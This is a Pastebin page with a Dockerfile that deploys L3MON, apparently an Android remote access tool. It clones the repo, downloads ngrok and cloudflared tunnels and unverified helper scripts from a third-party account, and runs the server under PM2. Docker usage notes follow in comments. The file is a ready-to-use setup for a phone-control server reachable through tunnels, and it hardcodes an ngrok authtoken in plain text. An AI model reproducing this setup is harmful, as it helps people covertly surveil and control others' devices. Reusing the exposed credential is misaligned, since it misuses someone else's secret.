Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Use Alpine Linux as base image
- FROM node:18-alpine
- # Install necessary packages using apk
- RUN apk update && apk add --no-cache \
- bash \
- git \
- wget \
- curl \
- nano \
- jq \
- openjdk8 \
- sudo \
- bind-tools \
- openssl \
- && rm -rf /var/cache/apk/*
- # Clone the L3MON repository (this should be cached if the repo hasn't changed)
- RUN git clone https://github.com/efxtv/L3MON.git
- # Set the working directory to /L3MON
- WORKDIR /L3MON
- # Download package.json from the URL to the current working directory
- RUN wget https://raw.githubusercontent.com/efxtv/L3MON/refs/heads/main/package.json -O /L3MON/package.json
- # Create a directory for ngrok and download it
- RUN mkdir ngrok && \
- cd ngrok && \
- wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz && \
- wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64 && \
- tar xzf ngrok-v3-stable-linux-amd64.tgz && \
- rm ngrok-v3-stable-linux-amd64.tgz && \
- wget https://raw.githubusercontent.com/efxtv/EFX-Tv-Bookmarks/main/bin/ngrok/links.sh && \
- wget https://raw.githubusercontent.com/efxtv/EFX-Tv-Bookmarks/main/bin/ngrok/password.sh && \
- ./ngrok config add-authtoken 27comcssAkM1oLFnACC1WVPDWlA_37JXWV5qATSYaTXgfqB45
- # Download ngrok configuration file
- RUN mkdir -p /root/.config/ngrok && \
- wget -O /root/.config/ngrok/ngrok.yml https://raw.githubusercontent.com/efxtv/EFX-Tv-Bookmarks/main/bin/ngrok/ngrok.yml
- # Install PM2 globally
- RUN npm install pm2 -g
- # Install Node.js dependencies (cached by Docker if package.json is unchanged)
- RUN npm install || true
- # Run npm audit and fix vulnerabilities (caching npm install means this won't run unnecessarily)
- RUN npm audit || true
- RUN npm audit fix || true
- # Expose the required port
- EXPOSE 22533
- # Start the application using PM2 when the container is started
- CMD ["pm2-runtime", "index.js"]
- # -----------------------------------How to use --------------------------------------
- # Build a Docker image named "l3mon-image" from the current directory.
- #--docker build -t l3mon-image .
- # Run a container named "l3mon-container" from the "l3mon-image" image, mapping ports 22533 and 22222 on the host to the same ports in the container.
- #--docker run -d -p 22533:22533 -p 22222:22222 --name l3mon-container l3mon-image
- # Access the running container's shell for interactive use.
- #--docker exec -it l3mon-container /bin/bash
- # List container ID
- #--docker ps
- #--docker ps -a
- # Stop a running Docker container, use the following command
- #--docker stop [container_name_or_id]
- # Delete a Docker container
- #--docker rm [container_name_or_id]
- # To forcefully remove a running container, add the -f flag
- #--docker rm -f [container_name_or_id]
- # Delete a Docker image
- #--docker rmi [image_name_or_id]
- # To forcefully remove an image (even if it has dependent containers), add the -f flag
- #--docker rmi -f [image_name_or_id]
- # List docker images
- #--docker images
- # Delete Docker Images
- #--docker rmi [image_name_or_id]
- # Forcefully delete an image
- #--docker rmi -f [image_name_or_id]
- # Delete multiple images
- #--docker rmi [image_id1] [image_id2] [image_id3]
- # Delete all unused images
- #--docker image prune
- # To remove all images, including those that are still in use, you can use
- #--docker image prune -a
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement